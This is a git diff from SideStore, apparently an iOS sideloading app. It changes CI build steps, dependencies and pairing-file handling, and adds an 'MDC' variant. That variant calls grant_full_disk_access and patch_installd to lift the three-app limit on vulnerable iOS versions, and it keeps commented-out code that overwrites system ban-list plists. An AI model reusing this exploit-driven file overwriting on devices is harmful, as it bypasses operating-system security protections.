# - name: Cache rust em_proxy
|
||||
# id: cache-rust-em_proxy
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-em_proxy
|
||||
# with:
|
||||
# path: ./Dependencies/em_proxy/target
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
- name: Install dependencies
|
||||
run: brew install ldid
|
||||
|
||||
- name: Install rustup
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
target: aarch64-apple-ios
|
||||
- name: Change version to tag
|
||||
run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
|
||||
|
||||
# - name: Create emotional damage
|
||||
# run: cd Dependencies/em_proxy && cargo build --release --target aarch64-apple-ios
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
|
||||
# - name: Build minimuxer
|
||||
# run: cd Dependencies/minimuxer && cargo build --release --target aarch64-apple-ios
|
||||
- name: Echo version
|
||||
run: echo "${{ steps.version.outputs.version }}"
|
||||
|
||||
- name: Setup Xcode
|
||||
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||
with:
|
||||
xcode-version: ${{ matrix.version }}
|
||||
|
||||
- name: Build SideStore
|
||||
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
|
||||
run: |
|
||||
xcodebuild -project AltStore.xcodeproj \
|
||||
-scheme AltStore \
|
||||
-sdk iphoneos \
|
||||
archive -archivePath ./archive \
|
||||
CODE_SIGNING_REQUIRED=NO \
|
||||
AD_HOC_CODE_SIGNING_ALLOWED=YES \
|
||||
CODE_SIGNING_ALLOWED=NO \
|
||||
DEVELOPMENT_TEAM=XYZ0123456 \
|
||||
ORG_IDENTIFIER=com.SideStore \
|
||||
| xcpretty && exit ${PIPESTATUS[0]}
|
||||
make build | xcpretty
|
||||
make fakesign
|
||||
make ipa
|
||||
|
||||
- name: Fakesign app
|
||||
- name: Enable MDC
|
||||
run: make enable_mdc
|
||||
|
||||
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
|
||||
run: |
|
||||
rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/
|
||||
ldid -SAltStore/Resources/tempEnt.plist archive.xcarchive/Products/Applications/SideStore.app/SideStore
|
||||
|
||||
- name: Convert to IPA
|
||||
run: |
|
||||
mkdir Payload
|
||||
mkdir Payload/SideStore.app
|
||||
cp -R archive.xcarchive/Products/Applications/SideStore.app/ Payload/SideStore.app/
|
||||
zip -r SideStore.ipa Payload
|
||||
|
||||
- name: Upload Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore.ipa
|
||||
path: SideStore.ipa
|
||||
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
make clean
|
||||
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
|
||||
make fakesign
|
||||
make ipa IPA_NAME=SideStore-MDC.ipa
|
||||
|
||||
- name: Get current date
|
||||
id: date
|
||||
@@ -129,10 +68,13 @@ jobs:
|
||||
with:
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
name: ${{ steps.version.outputs.version }}
|
||||
tag_name: ${{ github.ref }}
|
||||
tag_name: ${{ github.ref_name }}
|
||||
draft: true
|
||||
files: SideStore.ipa
|
||||
files: |
|
||||
SideStore.ipa
|
||||
SideStore-MDC.ipa
|
||||
body: |
|
||||
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
|
||||
## Changelog
|
||||
|
||||
- TODO
|
||||
@@ -143,3 +85,33 @@ jobs:
|
||||
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
|
||||
Commit SHA: `${{ github.sha }}`
|
||||
Version: `${{ steps.version.outputs.version }}`
|
||||
|
||||
- name: Add version to IPA file name
|
||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Add version to MDC IPA file name
|
||||
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore-MDC.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./dSYM/*
|
||||
|
||||
- name: Upload MDC-dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./MDC-dSYM/*
|
||||
|
||||
12
.gitignore
vendored
@@ -33,4 +33,14 @@ xcuserdata
|
||||
/.vscode
|
||||
|
||||
## AppCode specific
|
||||
.idea/
|
||||
.idea/
|
||||
|
||||
Payload/
|
||||
SideStore*.ipa
|
||||
*dSYM
|
||||
|
||||
Dependencies/.*-prebuilt-fetch-*
|
||||
Dependencies/minimuxer/*
|
||||
Dependencies/em_proxy/*
|
||||
!Dependencies/**/.gitkeep
|
||||
.nightly-build-num
|
||||
|
||||
6
.gitmodules
vendored
@@ -13,15 +13,9 @@
|
||||
[submodule "Dependencies/MarkdownAttributedString"]
|
||||
path = Dependencies/MarkdownAttributedString
|
||||
url = https://github.com/chockenberry/MarkdownAttributedString.git
|
||||
[submodule "Dependencies/em_proxy"]
|
||||
path = Dependencies/em_proxy
|
||||
url = https://github.com/jkcoxson/em_proxy
|
||||
[submodule "Dependencies/libimobiledevice-glue"]
|
||||
path = Dependencies/libimobiledevice-glue
|
||||
url = https://github.com/libimobiledevice/libimobiledevice-glue
|
||||
[submodule "Dependencies/minimuxer"]
|
||||
path = Dependencies/minimuxer
|
||||
url = https://github.com/SideStore/minimuxer
|
||||
[submodule "Dependencies/libfragmentzip"]
|
||||
path = Dependencies/libfragmentzip
|
||||
url = https://github.com/SideStore/libfragmentzip.git
|
||||
|
||||
@@ -1,3 +1,3 @@
|
||||
#include "Build.xcconfig"
|
||||
|
||||
PRODUCT_BUNDLE_IDENTIFIER = $(ORG_PREFIX).$(PRODUCT_NAME)
|
||||
PRODUCT_BUNDLE_IDENTIFIER = $(PRODUCT_BUNDLE_IDENTIFIER)
|
||||
|
||||
@@ -18,6 +18,33 @@
|
||||
"version" : "4.4.2"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "asyncimage",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/fabianthdev/AsyncImage",
|
||||
"state" : {
|
||||
"branch" : "main",
|
||||
"revision" : "018a4fffea025066d795ebb025c2769183f3fffb"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "expandabletext",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/fabianthdev/ExpandableText",
|
||||
"state" : {
|
||||
"branch" : "main",
|
||||
"revision" : "a375f5b8c73f0af69aa7add890378fdf404a29bc"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "inject",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/krzysztofzablocki/Inject.git",
|
||||
"state" : {
|
||||
"revision" : "abcc4b091fd384cfd09b149a60298b75dc87c5b9",
|
||||
"version" : "1.2.3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "keychainaccess",
|
||||
"kind" : "remoteSourceControl",
|
||||
@@ -36,6 +63,15 @@
|
||||
"version" : "4.2.0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "localconsole",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/naturecodevoid/LocalConsole.git",
|
||||
"state" : {
|
||||
"branch" : "main",
|
||||
"revision" : "4ead9c3e565190172caac62b5179347e02999365"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "nuke",
|
||||
"kind" : "remoteSourceControl",
|
||||
@@ -63,6 +99,15 @@
|
||||
"version" : "1.10.1"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "reachability.swift",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/ashleymills/Reachability.swift",
|
||||
"state" : {
|
||||
"branch" : "master",
|
||||
"revision" : "a81b7367f2c46875f29577e03a60c39cdfad0c8d"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "semanticversion",
|
||||
"kind" : "remoteSourceControl",
|
||||
@@ -72,6 +117,15 @@
|
||||
"version" : "0.3.5"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "sfsafesymbols",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/SFSafeSymbols/SFSafeSymbols",
|
||||
"state" : {
|
||||
"revision" : "50bc33264e6c0972f905b61af656201cf6091de8",
|
||||
"version" : "4.0.0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "sparkle",
|
||||
"kind" : "remoteSourceControl",
|
||||
@@ -81,6 +135,15 @@
|
||||
"version" : "2.1.0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "starscream",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/daltoniam/Starscream.git",
|
||||
"state" : {
|
||||
"revision" : "df8d82047f6654d8e4b655d1b1525c64e1059d21",
|
||||
"version" : "4.0.4"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "stprivilegedtask",
|
||||
"kind" : "remoteSourceControl",
|
||||
@@ -89,6 +152,15 @@
|
||||
"branch" : "master",
|
||||
"revision" : "10a9150ef32d444af326beba76356ae9af95a3e7"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "zipfoundation",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/weichsel/ZIPFoundation.git",
|
||||
"state" : {
|
||||
"revision" : "43ec568034b3731101dbf7670765d671c30f54f3",
|
||||
"version" : "0.9.16"
|
||||
}
|
||||
}
|
||||
],
|
||||
"version" : 2
|
||||
|
||||
@@ -6,3 +6,7 @@
|
||||
#import "ALTAppPatcher.h"
|
||||
|
||||
#include "fragmentzip.h"
|
||||
|
||||
#ifdef MDC
|
||||
#import "grant_full_disk_access.h"
|
||||
#endif /* MDC */
|
||||
|
||||
@@ -10,6 +10,7 @@ import UIKit
|
||||
import UserNotifications
|
||||
import AVFoundation
|
||||
import Intents
|
||||
import LocalConsole
|
||||
|
||||
import AltStoreCore
|
||||
import AltSign
|
||||
@@ -58,9 +59,19 @@ final class AppDelegate: UIResponder, UIApplicationDelegate {
|
||||
|
||||
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool
|
||||
{
|
||||
// Copy STDOUT and STDERR to the logging console
|
||||
_ = OutputCapturer.shared
|
||||
|
||||
// Register default settings before doing anything else.
|
||||
UserDefaults.registerDefaults()
|
||||
|
||||
#if UNSTABLE
|
||||
UnstableFeatures.load()
|
||||
#endif
|
||||
|
||||
LCManager.shared.isVisible = UserDefaults.standard.isConsoleEnabled
|
||||
LCManager.shared.isCharacterLimitDisabled = true // we want all logs exported
|
||||
|
||||
DatabaseManager.shared.start { (error) in
|
||||
if let error = error
|
||||
{
|
||||
|
||||
13
AltStore/Extensions/Error+Message.swift
Normal file
@@ -0,0 +1,13 @@
|
||||
//
|
||||
// Error+Message.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by naturecodevoid on 5/30/23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
extension Error {
|
||||
func message() -> String {
|
||||
(self as? LocalizedError)?.failureReason ?? self.localizedDescription
|
||||
}
|
||||
}
|
||||
19
AltStore/Extensions/Source+Trusted.swift
Normal file
@@ -0,0 +1,19 @@
|
||||
//
|
||||
// Source+Trusted.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 04.02.23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import AltStoreCore
|
||||
|
||||
extension Source {
|
||||
var isOfficial: Bool {
|
||||
self.identifier == Source.altStoreIdentifier
|
||||
}
|
||||
|
||||
var isTrusted: Bool {
|
||||
UserDefaults.shared.trustedSourceIDs?.contains(self.identifier) ?? false
|
||||
}
|
||||
}
|
||||
17
AltStore/Extensions/StoreApp+Filterable.swift
Normal file
@@ -0,0 +1,17 @@
|
||||
//
|
||||
// StoreApp+Searchable.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 01.12.22.
|
||||
// Copyright © 2022 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import AltStoreCore
|
||||
|
||||
extension StoreApp: Filterable {
|
||||
func matches(_ searchText: String) -> Bool {
|
||||
searchText.isEmpty ||
|
||||
self.name.lowercased().contains(searchText.lowercased()) ||
|
||||
self.developerName.lowercased().contains(searchText.lowercased())
|
||||
}
|
||||
}
|
||||
15
AltStore/Extensions/StoreApp+SideStore.swift
Normal file
@@ -0,0 +1,15 @@
|
||||
//
|
||||
// StoreApp+SideStore.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by naturecodevoid on 4/9/23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import AltStoreCore
|
||||
|
||||
extension StoreApp {
|
||||
var isSideStore: Bool {
|
||||
self.bundleIdentifier == Bundle.Info.appbundleIdentifier
|
||||
}
|
||||
}
|
||||
19
AltStore/Extensions/StoreApp+Trusted.swift
Normal file
@@ -0,0 +1,19 @@
|
||||
//
|
||||
// StoreApp+Trusted.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 04.02.23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import AltStoreCore
|
||||
|
||||
extension StoreApp {
|
||||
var isFromOfficialSource: Bool {
|
||||
self.source?.isOfficial ?? false
|
||||
}
|
||||
|
||||
var isFromTrustedSource: Bool {
|
||||
self.source?.isTrusted ?? false
|
||||
}
|
||||
}
|
||||
45
AltStore/Extensions/UIApplication+SideStore.swift
Normal file
@@ -0,0 +1,45 @@
|
||||
//
|
||||
// UIApplication+SideStore.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by naturecodevoid on 5/20/23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
extension UIApplication {
|
||||
static var keyWindow: UIWindow? {
|
||||
UIApplication.shared.windows.filter { $0.isKeyWindow }.first
|
||||
}
|
||||
|
||||
static var topController: UIViewController? {
|
||||
guard var topController = keyWindow?.rootViewController else { return nil }
|
||||
while let presentedViewController = topController.presentedViewController {
|
||||
topController = presentedViewController
|
||||
}
|
||||
return topController
|
||||
}
|
||||
|
||||
static func alert(
|
||||
title: String? = nil,
|
||||
message: String? = nil,
|
||||
leftButton: (text: String, action: ((UIAlertAction) -> Void)?)? = nil,
|
||||
rightButton: (text: String, action: ((UIAlertAction) -> Void)?)? = nil,
|
||||
leftButtonStyle: UIAlertAction.Style = .default,
|
||||
rightButtonStyle: UIAlertAction.Style = .default
|
||||
) {
|
||||
let alert = UIAlertController(title: title, message: message, preferredStyle: .alert)
|
||||
if let leftButton = leftButton {
|
||||
alert.addAction(UIAlertAction(title: leftButton.text, style: leftButtonStyle, handler: leftButton.action))
|
||||
}
|
||||
if let rightButton = rightButton {
|
||||
alert.addAction(UIAlertAction(title: rightButton.text, style: rightButtonStyle, handler: rightButton.action))
|
||||
}
|
||||
if rightButton == nil && leftButton == nil {
|
||||
alert.addAction(UIAlertAction(title: NSLocalizedString("Ok", comment: ""), style: .default))
|
||||
}
|
||||
|
||||
DispatchQueue.main.async {
|
||||
topController?.present(alert, animated: true)
|
||||
}
|
||||
}
|
||||
}
|
||||
22
AltStore/Extensions/View+Hidden.swift
Normal file
@@ -0,0 +1,22 @@
|
||||
//
|
||||
// View+Hidden.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by naturecodevoid on 2/18/23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
// https://stackoverflow.com/a/59228385 (modified)
|
||||
extension View {
|
||||
@ViewBuilder func isHidden(_ hidden: Binding<Bool>, remove: Bool = false) -> some View {
|
||||
if hidden.wrappedValue {
|
||||
if !remove {
|
||||
self.hidden()
|
||||
}
|
||||
} else {
|
||||
self
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -14,7 +14,13 @@
|
||||
<key>ALTPairingFile</key>
|
||||
<string><insert pairing file here></string>
|
||||
<key>ALTAnisetteURL</key>
|
||||
<string>https://sideloadly.io/anisette/irGb3Quww8zrhgqnzmrx</string>
|
||||
<!--
|
||||
for some reason, when we use the Info.plist preprocessor, 2 slashes in a row
|
||||
removes the rest of the line and makes the plist invalid. to get around this,
|
||||
we add a variable expansion ( $() ) in between the slashes that will ultimately
|
||||
evaluate to nothing, keeping the original URL while keeping the plist valid.
|
||||
-->
|
||||
<string>http:/$()/ani.sidestore.io:6969</string>
|
||||
<key>CFBundleDevelopmentRegion</key>
|
||||
<string>$(DEVELOPMENT_LANGUAGE)</string>
|
||||
<key>CFBundleDocumentTypes</key>
|
||||
@@ -204,7 +210,17 @@
|
||||
</dict>
|
||||
</dict>
|
||||
</array>
|
||||
<key>UISupportsDocumentBrowser</key>
|
||||
<true/>
|
||||
<key>UIFileSharingEnabled</key>
|
||||
<true/>
|
||||
<!--
|
||||
#if MDC
|
||||
-->
|
||||
<key>NSAppleMusicUsageDescription</key>
|
||||
<string>Full access to files on your device is required to apply the installd patch to remove the 3 app limit that free developer accounts have.</string>
|
||||
<!--
|
||||
#endif
|
||||
-->
|
||||
</dict>
|
||||
</plist>
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
//
|
||||
|
||||
import UIKit
|
||||
import SwiftUI
|
||||
import Roxas
|
||||
import EmotionalDamage
|
||||
import minimuxer
|
||||
@@ -14,6 +15,8 @@ import minimuxer
|
||||
import AltStoreCore
|
||||
import UniformTypeIdentifiers
|
||||
|
||||
let pairingFileName = "ALTPairingFile.mobiledevicepairing"
|
||||
|
||||
final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate
|
||||
{
|
||||
private var didFinishLaunching = false
|
||||
@@ -39,24 +42,49 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
||||
override func viewDidLoad()
|
||||
{
|
||||
defer {
|
||||
// Create destinationViewController now so view controllers can register for receiving Notifications.
|
||||
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
|
||||
if UnstableFeatures.enabled(.swiftUI) {
|
||||
let rootView = RootView()
|
||||
.environment(\.managedObjectContext, DatabaseManager.shared.viewContext)
|
||||
self.destinationViewController = UIHostingController(rootView: rootView)
|
||||
} else {
|
||||
// Create destinationViewController now so view controllers can register for receiving Notifications.
|
||||
self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
|
||||
}
|
||||
}
|
||||
super.viewDidLoad()
|
||||
}
|
||||
|
||||
override func viewDidAppear(_ animated: Bool) {
|
||||
super.viewDidAppear(true)
|
||||
|
||||
#if MDC
|
||||
MDC.alertIfNotPatched()
|
||||
#endif
|
||||
|
||||
#if !targetEnvironment(simulator)
|
||||
if UnstableFeatures.enabled(.onboarding) && !UserDefaults.standard.onboardingComplete {
|
||||
self.showOnboarding()
|
||||
return
|
||||
}
|
||||
|
||||
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
|
||||
|
||||
guard let pf = fetchPairingFile() else {
|
||||
displayError("Device pairing file not found.")
|
||||
self.showOnboarding(enabledSteps: [.pairing])
|
||||
return
|
||||
}
|
||||
start_minimuxer_threads(pf)
|
||||
#endif
|
||||
}
|
||||
|
||||
func showOnboarding(enabledSteps: [OnboardingStep] = OnboardingStep.allCases) {
|
||||
let onboardingView = OnboardingView(onDismiss: { self.dismiss(animated: true) }, enabledSteps: enabledSteps)
|
||||
.environment(\.managedObjectContext, DatabaseManager.shared.viewContext)
|
||||
let navigationController = UINavigationController(rootViewController: UIHostingController(rootView: onboardingView))
|
||||
navigationController.isNavigationBarHidden = true
|
||||
navigationController.isModalInPresentation = true
|
||||
self.present(navigationController, animated: true)
|
||||
}
|
||||
|
||||
func fetchPairingFile() -> String? {
|
||||
let filename = "ALTPairingFile.mobiledevicepairing"
|
||||
@@ -76,31 +104,8 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
||||
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here"){
|
||||
print("Loaded ALTPairingFile from Info.plist")
|
||||
return plistString
|
||||
} else {
|
||||
// Show an alert explaining the pairing file
|
||||
// Create new Alert
|
||||
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://youtu.be/dQw4w9WgXcQ", preferredStyle: .alert)
|
||||
|
||||
// Create OK button with action handler
|
||||
let ok = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in
|
||||
// Try to load it from a file picker
|
||||
var types = UTType.types(tag: "plist", tagClass: UTTagClass.filenameExtension, conformingTo: nil)
|
||||
types.append(contentsOf: UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: UTType.data))
|
||||
types.append(.xml)
|
||||
let documentPickerController = UIDocumentPickerViewController(forOpeningContentTypes: types)
|
||||
documentPickerController.shouldShowFileExtensions = true
|
||||
documentPickerController.delegate = self
|
||||
self.present(documentPickerController, animated: true, completion: nil)
|
||||
})
|
||||
|
||||
//Add OK button to a dialog message
|
||||
dialogMessage.addAction(ok)
|
||||
|
||||
// Present Alert to
|
||||
self.present(dialogMessage, animated: true, completion: nil)
|
||||
|
||||
return nil
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func displayError(_ msg: String) {
|
||||
@@ -125,14 +130,11 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
||||
}
|
||||
|
||||
// Save to a file for next launch
|
||||
let filename = "ALTPairingFile.mobiledevicepairing"
|
||||
let fm = FileManager.default
|
||||
let documentsPath = fm.documentsDirectory.appendingPathComponent("/\(filename)")
|
||||
try pairing_string?.write(to: documentsPath, atomically: true, encoding: String.Encoding.utf8)
|
||||
let pairingFile = FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)")
|
||||
try pairing_string?.write(to: pairingFile, atomically: true, encoding: String.Encoding.utf8)
|
||||
|
||||
// Start minimuxer now that we have a file
|
||||
start_minimuxer_threads(pairing_string!)
|
||||
|
||||
} catch {
|
||||
displayError("Unable to read pairing file")
|
||||
}
|
||||
@@ -148,22 +150,16 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
||||
}
|
||||
|
||||
func start_minimuxer_threads(_ pairing_file: String) {
|
||||
set_usbmuxd_socket()
|
||||
#if false // Retries
|
||||
var res = start_minimuxer(pairing_file: pairing_file)
|
||||
var attempts = 10
|
||||
while (attempts != 0 && res != 0) {
|
||||
print("start_minimuxer `res` != 0, retry #\(attempts)")
|
||||
res = start_minimuxer(pairing_file: pairing_file)
|
||||
attempts -= 1
|
||||
target_minimuxer_address()
|
||||
let documentsDirectory = FileManager.default.documentsDirectory.absoluteString
|
||||
do {
|
||||
try start(pairing_file, documentsDirectory)
|
||||
} catch {
|
||||
try! FileManager.default.removeItem(at: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)"))
|
||||
displayError("minimuxer failed to start, please restart SideStore. \(error.message())")
|
||||
}
|
||||
#else
|
||||
let res = start_minimuxer(pairing_file: pairing_file)
|
||||
#endif
|
||||
if res != 0 {
|
||||
displayError("minimuxer failed to start. Incorrect arguments were passed.")
|
||||
}
|
||||
auto_mount_dev_image()
|
||||
set_debug(UserDefaults.shared.isDebugLoggingEnabled)
|
||||
start_auto_mounter(documentsDirectory)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
177
AltStore/MDC/MDC+AltStore.swift
Normal file
@@ -0,0 +1,177 @@
|
||||
// Extension of MDC+AltStoreCore for the functionality AltStore uses
|
||||
// The only reason we can't have it all in AltStore is because AltStoreCore requires one variable of MDC to determine the free app limit
|
||||
|
||||
import Foundation
|
||||
import AltStoreCore
|
||||
|
||||
extension MDC {
|
||||
#if MDC
|
||||
enum PatchError: LocalizedError {
|
||||
case NoFDA(error: String)
|
||||
case FailedPatchd
|
||||
|
||||
var failureReason: String? {
|
||||
switch (self) {
|
||||
case .NoFDA(let error): return L10n.Remove3AppLimitView.Errors.noFDA(error)
|
||||
case .FailedPatchd: return L10n.Remove3AppLimitView.Errors.failedPatchd
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static func patch3AppLimit() async throws {
|
||||
#if !targetEnvironment(simulator)
|
||||
let res: PatchError? = await withCheckedContinuation { continuation in
|
||||
grant_full_disk_access { error in
|
||||
if let error = error {
|
||||
continuation.resume(returning: PatchError.NoFDA(error: error.message()))
|
||||
} else if !patch_installd() {
|
||||
continuation.resume(returning: PatchError.FailedPatchd)
|
||||
} else {
|
||||
continuation.resume(returning: nil)
|
||||
}
|
||||
}
|
||||
}
|
||||
if let error = res {
|
||||
throw error
|
||||
}
|
||||
#else
|
||||
print("The patch would be running right now if you weren't using a simulator. It will stop \"running\" in 3 seconds.")
|
||||
try await Task.sleep(nanoseconds: UInt64(3 * Double(NSEC_PER_SEC)))
|
||||
// throw MDC.PatchError.NoFDA(error: "This is a test error")
|
||||
#endif
|
||||
|
||||
UserDefaults.shared.lastInstalldPatchBootTime = bootTime()
|
||||
UserDefaults.shared.hasPatchedInstalldEver = true
|
||||
}
|
||||
|
||||
static func alertIfNotPatched() {
|
||||
guard UserDefaults.shared.hasPatchedInstalldEver && !installdHasBeenPatched && isSupported else { return }
|
||||
|
||||
UIApplication.alert(
|
||||
title: L10n.Remove3AppLimitView.title,
|
||||
message: L10n.Remove3AppLimitView.NotAppliedAlert.message,
|
||||
leftButton: (text: L10n.Remove3AppLimitView.NotAppliedAlert.apply, action: { _ in
|
||||
Task {
|
||||
do {
|
||||
try await MDC.patch3AppLimit()
|
||||
|
||||
await UIApplication.alert(
|
||||
title: L10n.Remove3AppLimitView.success
|
||||
)
|
||||
} catch {
|
||||
await UIApplication.alert(
|
||||
title: L10n.AsyncFallibleButton.error,
|
||||
message: error.message()
|
||||
)
|
||||
}
|
||||
}
|
||||
}),
|
||||
rightButton: (text: L10n.Remove3AppLimitView.NotAppliedAlert.continueWithout, action: nil)
|
||||
)
|
||||
}
|
||||
#endif
|
||||
|
||||
private static let ios15 = OperatingSystemVersion(majorVersion: 15, minorVersion: 0, patchVersion: 0) // supported
|
||||
private static let ios15_7_2 = OperatingSystemVersion(majorVersion: 15, minorVersion: 7, patchVersion: 2) // fixed
|
||||
|
||||
private static let ios16 = OperatingSystemVersion(majorVersion: 16, minorVersion: 0, patchVersion: 0) // supported
|
||||
private static let ios16_2 = OperatingSystemVersion(majorVersion: 16, minorVersion: 2, patchVersion: 0) // fixed
|
||||
|
||||
static var isSupported: Bool {
|
||||
#if targetEnvironment(simulator)
|
||||
true
|
||||
#else
|
||||
(ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15_7_2)) ||
|
||||
(ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16_2))
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
#if MDC
|
||||
// enum WhitelistPatchResult {
|
||||
// case success, failure
|
||||
// }
|
||||
//
|
||||
// let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg=="
|
||||
//
|
||||
// func patchWhiteList() {
|
||||
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!)
|
||||
// }
|
||||
//
|
||||
// func overwriteFileData(originPath: String, replacementData: Data) -> Bool {
|
||||
